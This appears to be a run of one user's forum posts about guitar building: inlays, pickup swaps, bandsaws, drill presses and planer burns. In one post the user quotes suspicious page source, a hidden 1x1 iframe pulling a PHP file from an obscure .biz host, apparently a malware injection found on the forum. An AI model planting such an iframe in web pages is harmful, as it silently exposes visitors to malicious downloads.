Desopolis

bahh.. nasty cold rain here.

I think I can the hot rail.. I dont remember on the duck though, I dont think so as it splits the open pole piece between bobbins. Ill check though..

I dont think it would be that big of a issue.

as with all inlays be sure the get the sizes as close to puzzle piece as possible.

what I would do is leave the dot alittle proud of the board. and with your radius sanding block start milling just the dot down. once you get to a point where you will rub the fingerboard it will be pretty close to flush. I couldnt imagine it removing THAT much material. especially if the board isnt radiused yet.

there is a debate between CA and epoxy. Ive seen both. Ive also seen titebond, so who cares.

I doubt the expansion of the dots would be that big of a deal, but I do see the maple staining more then a pearl inlay would.

definatly does.

as far as the bandsaw goes.

Ill mostly be using it to get close to a body shape, maybe templates(with the help of a robosander or oribtal), pickguards, but mostly shaping my neck tapers and designs.

makes sense on the drill press, but the ones I was playing with had a 12" range or more.

also with the tang and body being different I think you wouldnt get your smooth finish your thinking off.

LEVELING TO THE EXTREEME!

its a squire body, and the pickups were terrible. only the middle is a noiseless.

I wanted somthing with more gain and more heat, so I went with the Hot rail over the Texas tone pack. and I read the Duck would maintain that strat sound with being a humbucker. Its definatly quacky, but not the same.

im considering putting the duck in the middle and some warm single coil in the neck.

its definatly a quality improvment over stock, but if you heard it without seeing it you wouldnt think strat.

SO im at a crossroads with my neck, my jigsaw isnot cutting square, and annoying the crap out of me. I cant go out to that shop anymore, mainly because the guys blade was worn, and he charged me for it, when I only used it a few times to cut swamp ash(yeah, it does damage )

Now I was roaming through sears and they have a little 10" benchtop bandsaw for 129.

Its not somthing to write home about, but it is pretty sturdy and comes with a waranty.

then I saw a 12" Drill press bench top that was pretty nice as well.

now, my questions.

1. What is the biggest difference in a smaller bandsaw? I mean I know eventually Ill need to get a bigger one to resaw maple for tops... but before I save up 2k for a gigantic bandsaw, I want to do SOME work.

it seams though, the price goes up over $100 for a basic stand, witch if I cant fab up on my own, I dont need a bandsaw.

I figure the blade will snap or wear out faster, but other then that?

2, The drill press. How much HP do I really need?!?! my dewalt drill can pretty much distroy every single piece of wood/metal Ive worked on.

and why do I need a floor model? you guys ever set the table top 3 ft from the bit?

is it somewhat a ego, my bandsaw is bigger then yours thing?

I totaly understand a 20" planer, or ossilating sander, or even a gicantor belt sander. but a drill? a bandsaw?

So I rewired my strat with some SD pickups, new pots, etc.

theres a duckbucker bridge in the neck(woops, need to read the packages)

a regular noiseless in the middle

and a Hot rail in the bridge.

Now they all have slight differences, but for the most part the same overtones. No longer is my bridge super bright and my neck dark, its all a weird medium.

Also I almost completly lost the strat tone, and for a bluesy SRV kinda guy, im starting to miss it.

Dont get me wrong, the pickups are killer, and Im often in the bridge/middle position, but I miss the range I had.

should I change it arround? get a new pup? witch ones? dunno.. maybe its my amp, or all in my head...

definatly cheaper then home depot was for 20..

go to the hardware desk, look for the "wood" section of nuts and bolts.

they will have a few depths/sizes

just remember, the design is generally ment to have a object from the otherside of the board drilled through, and the threads used on the oposit end.

in our case its different, but still works none the less. I just had to drill a relif for the overhang.

ALSO the thread pattern is not the same as my Fender wood screws, so I had to buy new screws(machine thread).

damnit!

makes total sense now.

well, for somthing that is going to help you id say go with a PRS style. Mainly becuase the carve int as uniform as a LP.

allthough you do have a LP you can reference...

home Depot! thats where I got mine!

min orders? I only bought 2. $11 a pop

really good writeup, im going to back it up on my drive.

there is a definate change or hack to PG's index core file. thats why its at the top of all the pages..

firefox is more secure to pages trying to load programs and auto install. mainly becuase it has no active-X

not me, but im also on firefox..

one thing, when I hit the add reply on fast reply, or click certain pages it loads a 4x4 shaded box instead of a page

interesting...

heres the src code from the page:

<iframe src="http://zbrgduxcvy.biz/dl/adv497.php" width=1 height=1></iframe>

I liked it, but went with a OS-2 after a while..

had more of a range that I liked

im using the pre-cut ones off of http://www.allparts.com

So I recently got one of these for my birthday..

anyone here use it?

know any tricks?

its pretty intense to try and figure it all out...

ive been reading the directons and playing with it for a few hours now...

I dont know how to avoid it, but when I used lighter passes through the planer it removed less wood, and im guessing, caused less heat build..

the burns I got when trying to remove alot of material at once.

just a thought..

I like the double cut but whateva...

works for me!

im doing stars with a jewelers saw.

what happens when you rub it with sand paper?

I had a few burn marks when running my stuff through alot of machines...

they must live with their parents or off student loans..